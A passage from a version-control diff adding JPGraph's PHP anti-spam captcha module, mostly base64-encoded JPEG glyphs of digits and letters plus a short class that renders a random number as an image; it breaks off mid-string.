+	    'IiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv/bAEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+	    'MjIyMjIyMjIyMjIyMjIyMjIyMv/AABEIAB4AEgMBIgACEQEDEQH/xAAZAAACAwEAAAAAAAAAAAAAAAAABgEFBwT/xAAuEAABAwIE'.
+	    'BAQGAwAAAAAAAAABAgMEBREABiExEhMiQSMyUXEHFBclVJFhk9L/xAAXAQADAQAAAAAAAAAAAAAAAAAAAQID/8QAGREBAQEAAwAA'.
+	    'AAAAAAAAAAAAAAEREiFR/9oADAMBAAIRAxEAPwDXq9mCjZeQ05VZ5ZST4bfEpa3VdglCbqUe+g9MZ5Uq7V8415WXoMSdQ6etgSps'.
+	    '19wpkCMDZKUpv0FZvbi1NzpYasMDLDUbMVXrtQdbeeU23xLWkj5RlLYK0J7anW9gbAjCzkOtsVSUJUdtc6dVZK51UeaFm4LKbhpC'.
+	    'l7EhIFkDW974GbRI2XorUVls1OTdKAOqUpR0Hc3198GITQ6k+hLwrEpoODiDenRfW23bBicg78JXxPpD0mgVOW5PAivNNpahsPW5'.
+	    '8xxQaSVkboQnhsnYm5OHqDGp1IpsalMKjMsMIC3+XZKbJFth62/QOEfMOZqZXp9JcKZTcGmTky3meSi7xQklI81vMR+sXIz/AEgp'.
+	    'Q0qPNu6ea8Q2jqtbp8+2w9h/OKORc/cpHjt1dDSHOtLZ4ekHW23bBjj+o9H/AB539aP94MG0+L//2Q==' ; 
+
+//==========================================================
+// d3-small.jpg
+//==========================================================
+	$this->digits['3'][0]= 662 ;
+	$this->digits['3'][1]= 
+	    '/9j/4AAQSkZJRgABAQEASgBKAAD//gAJSnBHcmFwaP/bAEMACAYGBwYFCAcHBwkJCAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicg'.
+	    'IiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv/bAEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+	    'MjIyMjIyMjIyMjIyMjIyMjIyMv/AABEIAB4AEgMBIgACEQEDEQH/xAAZAAACAwEAAAAAAAAAAAAAAAAABAUGBwL/xAArEAABBAED'.
+	    'AwMDBQEAAAAAAAABAgMEBREABhIhMUEiMmETFZEHFkJDUdH/xAAWAQEBAQAAAAAAAAAAAAAAAAABAAL/xAAYEQEBAQEBAAAAAAAA'.
+	    'AAAAAAAAEQExQf/aAAwDAQACEQMRAD8A0vclruBdk3VVLLUNssGRJsZSCtqOjlgJAHvcOD6c4HnOdIbcttw1W5P29cFEhuawqTXS'.
+	    'VsJjnCMBxKkJJx7goAde+ceJfdNxU0UNlyymyXHi6kxWUNl1S3EnkAEIHX2nv86qtTuZr9Q9+1VhRsOoYpYcgSVyAE/TdewkJxnK'.
+	    'sBCjkdPGpnOtFMd3PqsXgfOAgD8Y0aX+11H9rDDjn8lr9yj5J+dGqsqxaw6Cc9cQZU4Sp7zTJsIrKlcUEKwhSin1JABI45GUjqOu'.
+	    'lbOvjbc3Ts9ynjGCy445UuFLYRzbWgrT6fhSCQSMDke+pew2zYVly/d7YchNqkMJZnQpgV9J8IzwWFJyUrAJHYgjvpLbu37G5nR7'.
+	    'vck5C3YRKYEOEVJZj8kjKypXqWvirjk9h+dB9i4faa89TDZUfKlIyT8k+To10a6KTkpcJ/0vL/7o0TS//9k=' ; 
+    } 
+}
+
+class AntiSpam {
+
+    var $iNumber='';
+
+    function AntiSpam($aNumber='') {
+	$this->iNumber = $aNumber;
+    }
+
+    function Rand($aLen) {
+	$d='';
+	for($i=0; $i < $aLen; ++$i) {
+	    $d .= rand(1,9);
+	}
+	$this->iNumber = $d;
+	return $d;
+    }
+
+    function Stroke() {
+
+	$n=strlen($this->iNumber);
+	for($i=0; $i < $n; ++$i ) {
+	    if( !is_numeric($this->iNumber[$i]) || $this->iNumber[$i]==0 ) {
+		return false;
+	    }
+	}
+
+	$dd = new HandDigits();
+	$n = strlen($this->iNumber);
+	$img = @imagecreatetruecolor($n*$dd->iWidth, $dd->iHeight);
+	if( $img < 1 ) {
+	    return false;
+	}
+	$start=0;
+	for($i=0; $i < $n; ++$i ) {
+	    $size = $dd->digits[$this->iNumber[$i]][0];
+	    $dimg = imagecreatefromstring(base64_decode($dd->digits[$this->iNumber[$i]][1]));
+	    imagecopy($img,$dimg,$start,0,0,0,imagesx($dimg), $dd->iHeight);
+	    $start += imagesx($dimg);
+	}
+	$resimg = @imagecreatetruecolor($start+4, $dd->iHeight+4);
+	if( $resimg < 1 ) {
+	    return false;
+	}
+	imagecopy($resimg,$img,2,2,0,0,$start, $dd->iHeight);
+	header("Content-type: image/jpeg");
+	imagejpeg($resimg);
+	return true;
+    }
+}
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_antispam.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_antispam.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_antispam.php	(revision 44)
@@ -0,0 +1,615 @@
+<?php
+//=======================================================================
+// File:	JPGRAPH_ANTISPAM.PHP
+// Description:	Genarate anti-spam challenge
+// Created: 	2004-10-07
+// Ver:		$Id: jpgraph_antispam.php 808 2006-11-28 19:10:40Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+
+class HandDigits {
+    public $chars = array();
+    public $iHeight=30, $iWidth=30;
+
+    function HandDigits() {
+
+//==========================================================
+// lj-small.jpg
+//==========================================================
+$this->chars['j'][0]= 658 ;
+$this->chars['j'][1]= 
+'/9j/4AAQSkZJRgABAQEASgBKAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAx'.
+'NDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjL/wAARCAAeABUDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGBAf/xAAsEAACAQMDAwMBCQAAAAAAAAAB'.
+'AgMEBREAEjEGIUEUUXGBBxMVIiNSYWKC/8QAFgEBAQEAAAAAAAAAAAAAAAAAAwEC/8QAGhEAAwADAQAAAAAAAAAAAAAAAAECERIh'.
+'Mv/aAAwDAQACEQMRAD8A6veK2st8zRWSyV1dUBfvHaGVI4hknsS7AFv4AyM57ayWbqeS+11xtT2etttwo4YqhEqnQs5bcAfyk4AZ'.
+'SOeD441TKRTyingUBG4/ah8j684+dSFzh/BvtaslejMUu9DPQTDnLx4lQ/ONw1TGBm0jdRWqguEMghEisWilgDmNs4Ze+MEEEH40'.
+'aUVFTa7JeLjRXu4GjhmnNbSfqFQVlA3rkckOjH/Q99Glmkl0C/Q06pvsvT9vttXHDF6T1KrWbs5gRgQJM+FDlQxPhjpF1XcVq+qe'.
+'jEoKiOecXBqh2TDDYIXLKuP6549xk8auI6aJqV45oknWdNswkAIkGMYIxjGO2NR1F0LZY5qkWqkS1xrM0M8lMSJpY+TGrnJiQ577'.
+'cEgeNHhi7D3qC3UN69M8tIakRhgrh9o748+eNGtcCiKjjpkQKlMTEg3ZwoxtHHtgfTRpYXArvp//2Q==' ; 
+
+//==========================================================
+// lf-small.jpg
+//==========================================================
+$this->chars['f'][0]= 633 ;
+$this->chars['f'][1]= 
+'/9j/4AAQSkZJRgABAQEASgBKAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAx'.
+'NDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjL/wAARCAAeABcDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAQFBgcC/8QAKxAAAgEDAwMCBQUAAAAAAAAA'.
+'AQIDBBEhAAUGEjFBEyIHFFFhoRUzYnGS/8QAFQEBAQAAAAAAAAAAAAAAAAAAAQP/xAAaEQACAwEBAAAAAAAAAAAAAAAAAQIRMRIh'.
+'/9oADAMBAAIRAxEAPwDcnmLoIkiSYsouC3tA++O2lU9WkqVjJ+YdhZLsQI/4/YfQm50kZP0vbmaCSU0SRNIH6sghb9INs3t38dvp'.
+'akUuz8x5DwdN5peS1jV1dSipSiVUigIcdQjQ26lIB/c6r3F86SZpE/zCFJaqsihQNhRgdj3Jyfxo0jDSbXHt9Oph9RAoV3qJGltY'.
+'HDOxyb/nRpV0D3RXle21m48XraOk3IUSemUaV4g4Zc9ShcDtgff+tQfwvjq34Dtku7buamFqeJKemCCMxKFsEJU+/FrX8d76sEHG'.
+'aNItzr4usVNdG3S0rmRYAVwEUmyjyQLZ11x7aF4zs9DQOyzml29I2cLa/pixIHi99DFCtU9dFuLIaijo9qiYPmR2mZmB9thgAHOD'.
+'4+mjUrURyrUNMZFEkkIOFuFAbsP9d/OjVIQ6Vh4tP//Z' ; 
+
+//==========================================================
+// lb-small.jpg
+//==========================================================
+$this->chars['b'][0]= 645 ;
+$this->chars['b'][1]= 
+'/9j/4AAQSkZJRgABAQEASgBKAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAx'.
+'NDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjL/wAARCAAeABUDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYCAwUH/8QAKxAAAQMDAwMDAwUAAAAAAAAA'.
+'AQIDBAAFEQYSIRMxUSJBYQcVI2JxgqHw/8QAFQEBAQAAAAAAAAAAAAAAAAAAAQL/xAAYEQEBAQEBAAAAAAAAAAAAAAAAATERYf/a'.
+'AAwDAQACEQMRAD8A6H95mxNYwLXcX+pCuilSLXJ6YSplaUELjqxwe4IJ5PIPamJ2V0bPcS7+NxCX1cHggAnIP+xSd9RyzHh2m7FQ'.
+'Q1CvMNQWTjCt+HFD+PB/Y1fI1PL1HFFt0zaGblFdJQ9cJjpZiqPJUlBAKnPcEpGB5NNRKdrOl1NlgiQol4R2w4Sc5VtGf7opZteo'.
+'LhdorjUSM5FnQnlR50NeHQysYxtVxlJHIPgjtRRD3xkaghs6juumdHz4+Y7RVPnt59K2mk7W+fcKWsZ7djTXMkW+xMP3GRJjwIEN'.
+'HTG/CWx5wPY8AADx2NYk3SL9wukvUjGobnBkORksIbjdMANozgEqSo8qJPGO/wAVO36IsjUmBIfZfuM7epZk3F9UhSSk5O0K9Kcq'.
+'8AcU3UzFuhUSBFud6nRXoz96mqmJZWg7m2dqUNhWBwdqQSP1UU5c/FFCn//Z' ; 
+
+//==========================================================
+// d6-small.jpg
+//==========================================================
+$this->chars['6'][0]= 645 ;
+$this->chars['6'][1]= 
+'/9j/4AAQSkZJRgABAQEASgBKAAD//gAJSnBHcmFwaP/bAEMACAYGBwYFCAcHBwkJCAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicg'.
+'IiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv/bAEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjIyMjIyMjIyMjIyMv/AABEIAB4AEgMBIgACEQEDEQH/xAAZAAEBAAMBAAAAAAAAAAAAAAAABgMEBwX/xAAvEAABAwMC'.
+'BAQEBwAAAAAAAAABAgMEAAURBiESIjFRBxMUQRUWMmFTYnGRkrHC/8QAFgEBAQEAAAAAAAAAAAAAAAAAAAEC/8QAFhEBAQEAAAAA'.
+'AAAAAAAAAAAAAAER/9oADAMBAAIRAxEAPwDslwiR3oDku8ONttsAvDiVyMcO/ET7ke5/aoOz6k1Vr5htNjW7a7M1yO3NTQU9JUDu'.
+'GgrlSn8xyf6p4gXaHJvNps9/mKZtSkGdMjRwpfqAFBLLACRlZUrJONsI2717No1lbZ10kx7XGnRpKWQ/6GVGMfzEJ5VFIVtsOH6e'.
+'wyKVhYsia0y22pLThSkJK1uniVgdThOM0ol+StIUhpopIyCFq3H8aUVCwnG3PGe4Rp6fLXJtMdyM0ojcIWvIz3HFnAPfrWTXb6GN'.
+'WaLXDwZjVz8pKEfhuIUFg/bAz9sVJ61nt61mxJFslLtq7e5yPqiBT4UDklKw4MDpt+u+9bFiu9riXNu83R+fcr6tohuQ5HQhmK37'.
+'paaC8DruScmg6X8KkjZEhbaB9KEyFYSOw26Uqd+e7Qerl5z74DY/1SomP//Z' ; 
+
+//==========================================================
+// lx-small.jpg
+//==========================================================
+$this->chars['x'][0]= 650 ;
+$this->chars['x'][1]= 
+'/9j/4AAQSkZJRgABAQEASgBKAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAx'.
+'NDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjL/wAARCAAeABMDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUHBgj/xAApEAABAwMDAwQCAwAAAAAAAAAB'.
+'AgMEBQYRACFBBxIxFCJRgRNxkcHw/8QAFQEBAQAAAAAAAAAAAAAAAAAAAAH/xAAWEQEBAQAAAAAAAAAAAAAAAAAAEQH/2gAMAwEA'.
+'AhEDEQA/AH9t3pKvO14UykVARa/HfAlxlDKXR24V2p3z7RlPwdtMep91uWdRGHWELjuTFFtLvcC4SNznnH+21O7ttiodOq1BvC0E'.
+'p9I0lSX2kgqCSklK+5PKCMAng6zV2XRO6u3lSIURtbDRShltlZHa0tW7q/0MeTwnjxq1Jiw2xc9xTLbhSVU5iaXUFfqFFILgJOCd'.
+'9Gt3SXabR6REpkL8yo0RpLCFNx1qBCRjOQMHxo0pEr6o3um2LVYpMEpTVqg25lHn08dfcB9kEgfZ1LIFDuawqZRb7aQlLTzqglsg'.
+'9wQdveOEqBIB425xqhQuk8qo9UKlPrlRblw2ZBeCSVKW6CcoSrI2AGOT41SKzT4dYtmdS5bIXDZhNoWgbZJ94x8AYT/GkM03oNUc'.
+'uKgwqtTZDTMOU0FttqRkoHggnPkEEHRrkJ6t1SlSHYUOc6zHaWrsbQrATk5/vRqK/9k=' ; 
+
+//==========================================================
+// d2-small.jpg
+//==========================================================
+$this->chars['2'][0]= 606 ;
+$this->chars['2'][1]= 
+'/9j/4AAQSkZJRgABAQEASgBKAAD//gAJSnBHcmFwaP/bAEMACAYGBwYFCAcHBwkJCAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicg'.
+'IiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv/bAEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjIyMjIyMjIyMjIyMv/AABEIAB4AEQMBIgACEQEDEQH/xAAYAAEBAQEBAAAAAAAAAAAAAAAFAAQHAv/EACsQAAEDBAEC'.
+'BAYDAAAAAAAAAAIBAwQABQYRIRIxQVFhcQcTFSJSU5GU0f/EABcBAAMBAAAAAAAAAAAAAAAAAAECAwT/xAAZEQACAwEAAAAAAAAA'.
+'AAAAAAAAARESUUH/2gAMAwEAAhEDEQA/AOqXm/Q8dxmOL4PPSnCSNFixx6nXnkXgRT3Te17JWbGsveueSyLZdbPItNxOKLzTLjou'.
+'gYCSoSoY8ISKSbFeUrzkdlnTL1YshskiErkQnFEZaF8kkdBBVdjyi6RNL5+9F486eS/ECVkcBtDt1vZcho5viS8ZCp9C9tAIAm/F'.
+'VoPRU+HRtJ5JVRP1kP0PfwP+1VKrHBMliXG4Nw8VgE4xGkuqk2S1wTUNEVdIvgpL9iL6KtNxY7WOwo9tt0RCitj0sR2uCbFPPzH1'.
+'7+6rRuSRcljMBMsUy2tky045KOawZk5xtEFBJEROO3hx61kh2rPCIX3MhsyC4QmfTbC6lH8dq5212qwkiG5H6Y/9R2qm+ofxqqsL'.
+'DLZ6f//Z' ; 
+
+//==========================================================
+// lm-small.jpg
+//==========================================================
+$this->chars['m'][0]= 649 ;
+$this->chars['m'][1]= 
+'/9j/4AAQSkZJRgABAQEASgBKAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAx'.
+'NDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjL/wAARCAAeABcDASIAAhEBAxEB/8QAGgAAAgMBAQAAAAAAAAAAAAAAAAcDBAUCBv/EAC0QAAICAQMCBAMJAAAAAAAA'.
+'AAECAwQRAAUSBiETMVFhB2KhFSIyQVJxgZHB/8QAFgEBAQEAAAAAAAAAAAAAAAAAAgED/8QAGREBAQEAAwAAAAAAAAAAAAAAAQAR'.
+'EiEx/9oADAMBAAIRAxEAPwB0MI2lIdgI0Cly3kFXLEn2zx1FDdp7rbpbjUtRWKio3hyxOGQllJzkegX66rQ2qW87Zuk9S5FNVmru'.
+'iywyBhjDKTkeXfSr+GRfYtq2KAO32b1BGxAZu0dyJ2DKPTxY1wPddVszycUq2Golq8jRWbcnJWwCVGMjz+VQP50atxMtm2ZUOY4l'.
+'4qfUnBP0x/Z0amy4jJm10Tt2yddWasFmfaRfdrlG3UcgArnxKzJ+Fu4DqCMkcgNem2DoWav8PLfTm+FPEkuSNTnqueS5bnHIv6CG'.
+'LNjJwM99bm67NB1Ht89KSxNXnr2hNDbiUc47K4KyD2GQMfmMjUnS+7vuIktTqPCaaWCqAMMojPFyw8hyYMQBnAwNJHYGXPTsW9VN'.
+'jg2zf50W9zk524GAEihuz+xbIOD82jW5TkjtRPZkTkJ+4VgDhQfuj/f3OjUxl1f/2Q==' ; 
+
+//==========================================================
+// lt-small.jpg
+//==========================================================
+$this->chars['t'][0]= 648 ;
+$this->chars['t'][1]= 
+'/9j/4AAQSkZJRgABAQEASgBKAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAx'.
+'NDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjL/wAARCAAeABcDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAQDBQYH/8QAJxAAAQMDAgYDAQEAAAAAAAAA'.
+'AQIDBAUGEQASEyExQVFhIjJxFSP/xAAWAQEBAQAAAAAAAAAAAAAAAAABAAP/xAAZEQADAQEBAAAAAAAAAAAAAAAAAREhMUH/2gAM'.
+'AwEAAhEDEQA/AO4BLEiEy7uG4IGxxs5IOOx76wd2XYidSp1HoD70240gcNNPbDyI6wQQpaz8E9MczkdhqtbsKYLieDk6WLKmZmmL'.
+'Hk7AHVkbkLI+RQc7uRxgkfr1tx2rGu6VbToLVKkhU+kbugGf9WfaknCk5ycaX0zmaa+3JkqvW/CmzojsB9xoF6OoFK0r6HOcEDI0'.
+'aefTuKX5ScMdC14HYq8n12zo1DEUcKTGg1Z+hyBwoPBVIiA/VQyOIgedhUCB4WMfXSV3UufVLcTUIqVf26K6mXDbPVRRzKT54iMg'.
+'+zjtq6mtsyJjclxpKlUhSXEbkgkqWnBx4+J5e/zU0pZemPvJJQzEPDfQOrwwFY9AZ5eeYPLV6FwhoFYZuigxpkJeIjqAeIoAk9wA'.
+'D46EnuD+6Nc1smDNrTlRkxqtMo1vzKhIdYgU9YDqVpISrLhHxSSd21I0aYyqP//Z' ; 
+
+//==========================================================
+// li-small.jpg
+//==========================================================
+$this->chars['i'][0]= 639 ;
+$this->chars['i'][1]=
+'/9j/4AAQSkZJRgABAQEASgBKAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAx'.
+'NDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjL/wAARCAAeABYDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABwAGBP/EACcQAAEEAQMEAgIDAAAAAAAAAAEC'.
+'AwQRBQAGEiExQVEHExSBFWFx/8QAFgEBAQEAAAAAAAAAAAAAAAAAAgMB/8QAGBEBAQEBAQAAAAAAAAAAAAAAAAECMRH/2gAMAwEA'.
+'AhEDEQA/AE7c+5M9BeRG29t1WUfKFFYW+GvrI7WD3B9g140YD5T36rcErDjbUR6dCBdejsKUpxITXI2FUrooCh70yvxzHyIlMvuK'.
+'eVSH7IKEpJoKqu/ahddLryR/aMiO187bsmrWShhp1AZS2XHHrWhNJrzdf7f7GiVcHk3sptmHkJcJ2DIftS2FrKlJPXudWuLGYeQp'.
+'t2fmEIckqIZaaKuSGG0lQ4gduRoFRHQ9AOgs2lOJbk9aSUlpjGvAWeSVH2VKq/2dFPw3IjyJe8s281ct3I9UoHJXGiQkD2STrSZ7'.
+'Yf8AOl7JTdw5eOCz0jw3+LbYCfA9nz71msb8KMxoTGTw+5srjsipAdDqFBQBIuiOl6KrdYyJMyTCshlw2G3Fr/HiNqNNAqJJUoGl'.
+'KND+h47km1bZwsvCbYYjycxIyK1qDv2yEi0hQviK8atKDcy9j//Z' ;
+ 
+
+//==========================================================
+// lp-small.jpg
+//==========================================================
+$this->chars['p'][0]= 700 ;
+$this->chars['p'][1]= 
+'/9j/4AAQSkZJRgABAQEASgBKAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAx'.
+'NDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjL/wAARCAAeABcDASIAAhEBAxEB/8QAGgAAAQUBAAAAAAAAAAAAAAAAAAECBAUGB//EAC8QAAEDAwMCBAMJAAAAAAAA'.
+'AAECAwQFESEABhIiMRMVUWEHFEEWIzIzcYGRocH/xAAWAQEBAQAAAAAAAAAAAAAAAAADAgH/xAAcEQACAgIDAAAAAAAAAAAAAAAA'.
+'AQIxAxESIUH/2gAMAwEAAhEDEQA/AOh703xG21DMeOyqoVNDjSzERiwU6Ep5qtZNycA97HTF13d33KWtmlt9xwkLl1NkXVxIuQgK'.
+'wLj+hqBvel0qmbR8GnR22nJNZiLeeKr8nDIT1OLJucX+uPbWom7iocRpafOac5MX1ALltp/Cbi+cJH++utdh+WVNL3PNdNYpdWgx'.
+'Y0qmLZSrwJJcQoOJ5XKlJFu4HbJOjVbt+V5nu7eopNRivqcdhK+bFnWwA1Y2AOcgjvj9dGlxy0g5y0xd+hNXoG24C4obizq3HZUh'.
+'YHqtRHD06bG/8a0MbbG1mqekxaBSGmgkrcdcitlLfrckZIz7DUatbeFak0tyRLUwzT5vmiGm0cufEkFBJItfkD+59tKmiO12atFa'.
+'eQukO3ejUxgENqTcfnE5WbkHiOnJ76N2IqI1DibabptS+zkZhtp90F2Y0S026EkAFK/qL46cXv65NVZDfxHmVCK4DE2/RX/lRFbA'.
+'C5LwAyq2EtpHZI7mxPYDRqoctdESimz/2Q==' ; 
+
+//==========================================================
+// le-small.jpg
+//==========================================================
+$this->chars['e'][0]= 700 ;
+$this->chars['e'][1]= 
+'/9j/4AAQSkZJRgABAQEASgBKAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAx'.
+'NDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjL/wAARCAAeABgDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYEBQcB/8QAKhAAAQMCBAUEAwEAAAAAAAAA'.
+'AgEDBAURAAYSIQciMTJBE0JRYRQVFoH/xAAXAQEBAQEAAAAAAAAAAAAAAAAAAgED/8QAGREAAwEBAQAAAAAAAAAAAAAAAAERAjFB'.
+'/9oADAMBAAIRAxEAPwDTszvhEYCoS80BTm2bCjQRwdAzVe2yopkpJtpRUVfjEIc4V2oMerByg5Ji30oMyS3GeMunK0upfnu09MdJ'.
+'p2scTmWnnGfx6HThktgLfKj7xEOqyr7QBbL41LhBzpxbcOru0LKDLdSnOHoaltNqSC4qWL0x9xbJYum69caczSaHmGmTmpDUYn4l'.
+'UiqjkynzAVtwV23Ud+X4Ibpa2DCPkjhfUaRO/p8yzpb+YHhUmhbev6ZEll1lvqK3jt2XrbBgp6HVwsK3THpfEubGSoOUyFMpbJmL'.
+'Deh6SgOGKti57EuY6l62JMWdJy7k3hg1LkOozEbVm7suQSkTiKtkEfP1pH664Za/QItccgI4bseTHdNxiXHLQ8yVl7V32XyioqL5'.
+'TGc1ng6eYs0idczXUZscBBABWgEhEtfKNuUezwPnBhEuj8X2M21z9BR6NUX211Kk/UKKAjuhkPhL7XVf8vtgw7UPJlEyrDWFSYLb'.
+'LBNF6qrzG6t0spEu6+fpL7YMXhUndp//2Q==' ; 
+
+//==========================================================
+// la-small.jpg
+//==========================================================
+$this->chars['a'][0]= 730 ;
+$this->chars['a'][1]=
+'/9j/4AAQSkZJRgABAQEASgBKAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAx'.
+'NDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjL/wAARCAAeABoDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAABgMEBwX/xAAvEAABAwIFAQcCBwAAAAAAAAAB'.
+'AgMEBREAEiExQQYHFBUiUXGBE2EyQkNSgpHh/8QAFwEBAQEBAAAAAAAAAAAAAAAAAAMBAv/EABkRAAMBAQEAAAAAAAAAAAAAAAAB'.
+'IQIRMf/aAAwDAQACEQMRAD8AfdQ1pxjqZMSn0mRUZRYDaklJCE3OawO2ttTxY4hl07qFMVs1Ku02kpPnRGhsAqz8W9T9wDjozq6o'.
+'Q1lDrcZLGVcmUoZg0obpufxK3Ftt9ccqB1GgBcmLSqtVEqOZcr6ARm/kbXHt7DEtc7WTJKTJqEWvRKfLqL9QplSjuPtGVYOJKBrm'.
+'t+U+n94WGStZzNypmRWqckUKTbixy6jAfxPxHtCgKqFNlU5huK6pLMndSlegG4J45N8aKmTMKQRBsCNMzwB+RbHWHGEAZlPZX2hx'.
+'qZIC34ygZoYUbB50JSkFXFhZR9BrpheR4fIbQ6gvurJ7q02bIQTuAOAN8x40HAxRr3TrNRpBmSHVt1KMlTyJTCsqkKAPlSf28W+c'.
+'UGaD1c9HSR1HFUh9tJU45EBcAtcC9+P9wqbg8IAto9o81yputrVGpiUkgHKkqUTZI32+cKm1z1tIUgPBBAKQ4UBQH3uL3xmXSXep'.
+'HVDtXStE5K5jlPU7PF3Q41+okJFkjgC+3OuNSYiSzHaLtRcW4UDMpLYSCbakDW3thhum5p//2Q==' ;
+
+//==========================================================
+// d9-small.jpg
+//==========================================================
+$this->chars['9'][0]= 680 ;
+$this->chars['9'][1]= 
+'/9j/4AAQSkZJRgABAQEASgBKAAD//gAJSnBHcmFwaP/bAEMACAYGBwYFCAcHBwkJCAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicg'.
+'IiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv/bAEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy'.
+'MjIyMjIyMjIyMjIyMjIyMjIyMv/AABEIAB4AEgMBIgACEQEDEQH/xAAZAAACAwEAAAAAAAAAAAAAAAAABAUGBwP/xAArEAABAwMD'.
+'AgYBBQAAAAAAAAABAgMEBQYRABIhE1EUIjEzQUIHMlJhcdH/xAAWAQEBAQAAAAAAAAAAAAAAAAACAQD/xAAYEQEAAwEAAAAAAAAA'.
+'AAAAAAAAAREhQf/aAAwDAQACEQMRAD8AkK7brF6X7XpMeGoKhFMLEeT4ZUheEhanF4OcZ2pTgDykk92bZpdCsi7aezLjxkIPUZiV'.
+'RSCy8hah7EkZ27yM7V+iscal5bE22Lon1qNDmSKROd8Sl+Ix1lMOlIS4HGgQpbStoUCnlJz8HmsXtW3Lst2rmBAelLMRRekOwnYz'.
